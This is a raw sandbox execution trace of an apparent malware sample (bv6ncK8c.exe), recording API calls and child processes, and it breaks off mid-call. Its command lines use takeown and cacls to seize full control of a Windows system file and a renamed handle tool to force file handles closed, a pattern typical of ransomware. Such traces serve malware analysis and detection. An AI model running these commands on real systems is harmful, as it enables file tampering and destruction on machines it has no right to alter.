[0138.147] InitializeProcThreadAttributeList (in: lpAttributeList=0x37ed58, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x37ee20 | out: lpAttributeList=0x37ed58, lpSize=0x37ee20) returned 1 [0138.147] UpdateProcThreadAttribute (in: lpAttributeList=0x37ed58, dwFlags=0x0, Attribute=0x60001, lpValue=0x37ee18, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x37ed58, lpPreviousValue=0x0) returned 1 [0138.147] GetStartupInfoW (in: lpStartupInfo=0x37ed14 | out: lpStartupInfo=0x37ed14*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0138.147] lstrcmpW (lpString1="\\bv6ncK8c.exe", lpString2="\\XCOPY.EXE") returned -1 [0138.147] CreateProcessW (in: lpApplicationName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe", lpCommandLine="bv6ncK8c.exe -accepteula -c -y -p handles -nobanner", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x37edb4*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="bv6ncK8c.exe -accepteula -c -y -p handles -nobanner", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x37ee00 | out: lpCommandLine="bv6ncK8c.exe -accepteula -c -y -p handles -nobanner", lpProcessInformation=0x37ee00*(hProcess=0x74, hThread=0x84, dwProcessId=0xc7c, dwThreadId=0xce4)) returned 1 [0138.161] CloseHandle (hObject=0x84) returned 1 [0138.161] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0138.161] GetProcessHeap () returned 0x400000 [0138.161] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x417f30 | out: hHeap=0x400000) returned 1 [0138.161] GetEnvironmentStringsW () returned 0x416b80* [0138.161] GetProcessHeap () returned 0x400000 [0138.161] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0xb86) returned 0x417f30 [0138.161] FreeEnvironmentStringsW (penv=0x416b80) returned 1 [0138.161] WaitForSingleObject (hHandle=0x74, dwMilliseconds=0xffffffff) Process: id = "237" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x742e9000" os_pid = "0xb90" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "32" os_parent_pid = "0x184" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 844 os_tid = 0x304 Thread: id = 845 os_tid = 0xc3c Thread: id = 846 os_tid = 0x598 Process: id = "238" image_name = "cacls.exe" filename = "c:\\windows\\syswow64\\cacls.exe" page_root = "0x7524f000" os_pid = "0xb70" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "236" os_parent_pid = "0xc18" cmd_line = "cacls \"C:\\Program Files\\Windows Mail\\en-US\\msoeres.dll.mui\" /E /G 5p5NrGJn0jS HALPmcxz:F /C" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 847 os_tid = 0x8fc Process: id = "239" image_name = "takeown.exe" filename = "c:\\windows\\syswow64\\takeown.exe" page_root = "0x77154000" os_pid = "0xbe8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "236" os_parent_pid = "0xc18" cmd_line = "takeown /F \"C:\\Program Files\\Windows Mail\\en-US\\msoeres.dll.mui\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 848 os_tid = 0xc6c Thread: id = 849 os_tid = 0xc68 Process: id = "240" image_name = "wmiadap.exe" filename = "c:\\windows\\system32\\wbem\\wmiadap.exe" page_root = "0x74df0000" os_pid = "0xc78" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "41" os_parent_pid = "0x370" cmd_line = "wmiadap.exe /F /T /R" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000cc7d" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 850 os_tid = 0xc74 Thread: id = 852 os_tid = 0xc50 Thread: id = 853 os_tid = 0xc4c Thread: id = 855 os_tid = 0x6e8 Thread: id = 858 os_tid = 0xbac Thread: id = 859 os_tid = 0xa1c Process: id = "241" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x75b5c000" os_pid = "0x8dc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "236" os_parent_pid = "0xc18" cmd_line = "C:\\Windows\\system32\\cmd.exe /c bv6ncK8c.exe -accepteula \"msoeres.dll.mui\" -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 851 os_tid = 0x454 [0133.278] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x22faac | out: lpSystemTimeAsFileTime=0x22faac*(dwLowDateTime=0xf2b03a60, dwHighDateTime=0x1d5d06a)) [0133.278] GetCurrentProcessId () returned 0x8dc [0133.278] GetCurrentThreadId () returned 0x454 [0133.278] GetTickCount () returned 0x1168c39 [0133.278] QueryPerformanceCounter (in: lpPerformanceCount=0x22faa4 | out: lpPerformanceCount=0x22faa4*=27523019439) returned 1 [0133.279] GetModuleHandleA (lpModuleName=0x0) returned 0x4ab20000 [0133.279] __set_app_type (_Type=0x1) [0133.279] __p__fmode () returned 0x76be31f4 [0133.279] __p__commode () returned 0x76be31fc [0133.279] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4ab421a6) returned 0x0 [0133.280] __getmainargs (in: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c, _DoWildCard=0, _StartInfo=0x4ab44140 | out: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c) returned 0 [0133.280] GetCurrentThreadId () returned 0x454 [0133.280] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x454) returned 0x60 [0133.280] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0133.280] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0133.280] SetThreadUILanguage (LangId=0x0) returned 0x409 [0133.405] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0133.405] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x22fa3c | out: phkResult=0x22fa3c*=0x0) returned 0x2 [0133.405] VirtualQuery (in: lpAddress=0x22fa73, lpBuffer=0x22fa0c, dwLength=0x1c | out: lpBuffer=0x22fa0c*(BaseAddress=0x22f000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0133.406] VirtualQuery (in: lpAddress=0x130000, lpBuffer=0x22fa0c, dwLength=0x1c | out: lpBuffer=0x22fa0c*(BaseAddress=0x130000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0133.406] VirtualQuery (in: lpAddress=0x131000, lpBuffer=0x22fa0c, dwLength=0x1c | out: lpBuffer=0x22fa0c*(BaseAddress=0x131000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0133.406] VirtualQuery (in: lpAddress=0x133000, lpBuffer=0x22fa0c, dwLength=0x1c | out: lpBuffer=0x22fa0c*(BaseAddress=0x133000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0133.406] VirtualQuery (in: lpAddress=0x230000, lpBuffer=0x22fa0c, dwLength=0x1c | out: lpBuffer=0x22fa0c*(BaseAddress=0x230000, AllocationBase=0x230000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0133.406] GetConsoleOutputCP () returned 0x1b5 [0133.406] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0133.406] SetConsoleCtrlHandler (HandlerRoutine=0x4ab3e72a, Add=1) returned 1 [0133.406] _get_osfhandle (_FileHandle=1) returned 0x80 [0133.406] SetConsoleMode (hConsoleHandle=0x80, dwMode=0x0) returned 0 [0133.406] _get_osfhandle (_FileHandle=1) returned 0x80 [0133.406] GetConsoleMode (in: hConsoleHandle=0x80, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 0 [0133.407] _get_osfhandle (_FileHandle=0) returned 0x3 [0133.407] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0133.407] GetEnvironmentStringsW () returned 0x6221e0* [0133.407] GetProcessHeap () returned 0x610000 [0133.407] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xb86) returned 0x622d70 [0133.407] FreeEnvironmentStringsW (penv=0x6221e0) returned 1 [0133.407] GetProcessHeap () returned 0x610000 [0133.407] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x4) returned 0x622060 [0133.407] GetEnvironmentStringsW () returned 0x6221e0* [0133.407] GetProcessHeap () returned 0x610000 [0133.407] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xb86) returned 0x623900 [0133.408] FreeEnvironmentStringsW (penv=0x6221e0) returned 1 [0133.408] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x22e9ac | out: phkResult=0x22e9ac*=0x68) returned 0x0 [0133.408] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x22e9b4, lpData=0x22e9b8, lpcbData=0x22e9b0*=0x1000 | out: lpType=0x22e9b4*=0x0, lpData=0x22e9b8*=0x0, lpcbData=0x22e9b0*=0x1000) returned 0x2 [0133.408] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x22e9b4, lpData=0x22e9b8, lpcbData=0x22e9b0*=0x1000 | out: lpType=0x22e9b4*=0x4, lpData=0x22e9b8*=0x1, lpcbData=0x22e9b0*=0x4) returned 0x0 [0133.408] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x22e9b4, lpData=0x22e9b8, lpcbData=0x22e9b0*=0x1000 | out: lpType=0x22e9b4*=0x0, lpData=0x22e9b8*=0x1, lpcbData=0x22e9b0*=0x1000) returned 0x2 [0133.408] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x22e9b4, lpData=0x22e9b8, lpcbData=0x22e9b0*=0x1000 | out: lpType=0x22e9b4*=0x4, lpData=0x22e9b8*=0x0, lpcbData=0x22e9b0*=0x4) returned 0x0 [0133.408] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x22e9b4, lpData=0x22e9b8, lpcbData=0x22e9b0*=0x1000 | out: lpType=0x22e9b4*=0x4, lpData=0x22e9b8*=0x40, lpcbData=0x22e9b0*=0x4) returned 0x0 [0133.408] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x22e9b4, lpData=0x22e9b8, lpcbData=0x22e9b0*=0x1000 | out: lpType=0x22e9b4*=0x4, lpData=0x22e9b8*=0x40, lpcbData=0x22e9b0*=0x4) returned 0x0 [0133.408] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x22e9b4, lpData=0x22e9b8, lpcbData=0x22e9b0*=0x1000 | out: lpType=0x22e9b4*=0x0, lpData=0x22e9b8*=0x40, lpcbData=0x22e9b0*=0x1000) returned 0x2 [0133.408] RegCloseKey (hKey=0x68) returned 0x0 [0133.408] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x22e9ac | out: phkResult=0x22e9ac*=0x68) returned 0x0 [0133.408] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x22e9b4, lpData=0x22e9b8, lpcbData=0x22e9b0*=0x1000 | out: lpType=0x22e9b4*=0x0, lpData=0x22e9b8*=0x40, lpcbData=0x22e9b0*=0x1000) returned 0x2 [0133.408] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x22e9b4, lpData=0x22e9b8, lpcbData=0x22e9b0*=0x1000 | out: lpType=0x22e9b4*=0x4, lpData=0x22e9b8*=0x1, lpcbData=0x22e9b0*=0x4) returned 0x0 [0133.408] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x22e9b4, lpData=0x22e9b8, lpcbData=0x22e9b0*=0x1000 | out: lpType=0x22e9b4*=0x0, lpData=0x22e9b8*=0x1, lpcbData=0x22e9b0*=0x1000) returned 0x2 [0133.408] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x22e9b4, lpData=0x22e9b8, lpcbData=0x22e9b0*=0x1000 | out: lpType=0x22e9b4*=0x4, lpData=0x22e9b8*=0x0, lpcbData=0x22e9b0*=0x4) returned 0x0 [0133.409] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x22e9b4, lpData=0x22e9b8, lpcbData=0x22e9b0*=0x1000 | out: lpType=0x22e9b4*=0x4, lpData=0x22e9b8*=0x9, lpcbData=0x22e9b0*=0x4) returned 0x0 [0133.409] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x22e9b4, lpData=0x22e9b8, lpcbData=0x22e9b0*=0x1000 | out: lpType=0x22e9b4*=0x4, lpData=0x22e9b8*=0x9, lpcbData=0x22e9b0*=0x4) returned 0x0 [0133.409] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x22e9b4, lpData=0x22e9b8, lpcbData=0x22e9b0*=0x1000 | out: lpType=0x22e9b4*=0x0, lpData=0x22e9b8*=0x9, lpcbData=0x22e9b0*=0x1000) returned 0x2 [0133.409] RegCloseKey (hKey=0x68) returned 0x0 [0133.409] time (in: timer=0x0 | out: timer=0x0) returned 0x5e271117 [0133.409] srand (_Seed=0x5e271117) [0133.409] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c bv6ncK8c.exe -accepteula \"msoeres.dll.mui\" -nobanner" [0133.409] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c bv6ncK8c.exe -accepteula \"msoeres.dll.mui\" -nobanner" [0133.410] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0133.410] GetProcessHeap () returned 0x610000 [0133.410] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x210) returned 0x624490 [0133.410] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x624498, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0133.411] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0133.411] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0133.411] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0133.411] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0133.411] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0133.411] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0133.411] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0133.411] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0133.411] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0133.411] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0133.411] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0133.411] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0133.411] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0133.411] GetProcessHeap () returned 0x610000 [0133.411] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x54) returned 0x6246a8 [0133.411] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x22f778 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0133.411] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x22f778, lpFilePart=0x22f774 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x22f774*="Desktop") returned 0x25 [0133.411] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0133.412] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x22f4f4 | out: lpFindFileData=0x22f4f4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd63c4ae0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xd63c4ae0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x622070 [0133.412] FindClose (in: hFindFile=0x622070 | out: hFindFile=0x622070) returned 1 [0133.412] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x22f4f4 | out: lpFindFileData=0x22f4f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf29ace00, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xf29ace00, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x622070 [0133.412] FindClose (in: hFindFile=0x622070 | out: hFindFile=0x622070) returned 1 [0133.413] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0133.413] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x22f4f4 | out: lpFindFileData=0x22f4f4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc36f2ea0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xc36f2ea0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x622070 [0133.413] FindClose (in: hFindFile=0x622070 | out: hFindFile=0x622070) returned 1 [0133.413] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0133.413] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0133.413] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0133.413] GetProcessHeap () returned 0x610000 [0133.413] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x622d70 | out: hHeap=0x610000) returned 1 [0133.413] GetEnvironmentStringsW () returned 0x6221e0* [0133.413] GetProcessHeap () returned 0x610000 [0133.413] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xb86) returned 0x622d70 [0133.413] FreeEnvironmentStringsW (penv=0x6221e0) returned 1 [0133.413] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0133.413] GetProcessHeap () returned 0x610000 [0133.413] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6246a8 | out: hHeap=0x610000) returned 1 [0133.413] GetProcessHeap () returned 0x610000 [0133.413] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x400e) returned 0x624f08 [0133.414] GetProcessHeap () returned 0x610000 [0133.414] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x76) returned 0x628f38 [0133.414] GetProcessHeap () returned 0x610000 [0133.414] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x624f08 | out: hHeap=0x610000) returned 1 [0133.414] GetConsoleOutputCP () returned 0x1b5 [0133.414] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0133.414] GetUserDefaultLCID () returned 0x409 [0133.415] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4ab44950, cchData=8 | out: lpLCData=":") returned 2 [0133.416] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x22f8b8, cchData=128 | out: lpLCData="0") returned 2 [0133.416] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x22f8b8, cchData=128 | out: lpLCData="0") returned 2 [0133.416] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x22f8b8, cchData=128 | out: lpLCData="1") returned 2 [0133.416] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4ab44940, cchData=8 | out: lpLCData="/") returned 2 [0133.416] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4ab44d80, cchData=32 | out: lpLCData="Mon") returned 4 [0133.416] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4ab44d40, cchData=32 | out: lpLCData="Tue") returned 4 [0133.416] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4ab44d00, cchData=32 | out: lpLCData="Wed") returned 4 [0133.416] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4ab44cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0133.416] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4ab44c80, cchData=32 | out: lpLCData="Fri") returned 4 [0133.416] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4ab44c40, cchData=32 | out: lpLCData="Sat") returned 4 [0133.416] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4ab44c00, cchData=32 | out: lpLCData="Sun") returned 4 [0133.416] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4ab44930, cchData=8 | out: lpLCData=".") returned 2 [0133.416] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4ab44920, cchData=8 | out: lpLCData=",") returned 2 [0133.417] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0133.418] GetProcessHeap () returned 0x610000 [0133.418] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x20c) returned 0x6221e0 [0133.418] GetConsoleTitleW (in: lpConsoleTitle=0x6221e0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0133.419] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0133.419] GetProcAddress (hModule=0x76e10000, lpProcName="CopyFileExW") returned 0x76e43b92 [0133.419] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0133.419] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleInputExeNameW") returned 0x76e3a79d [0133.420] GetProcessHeap () returned 0x610000 [0133.420] RtlAllocateHeap 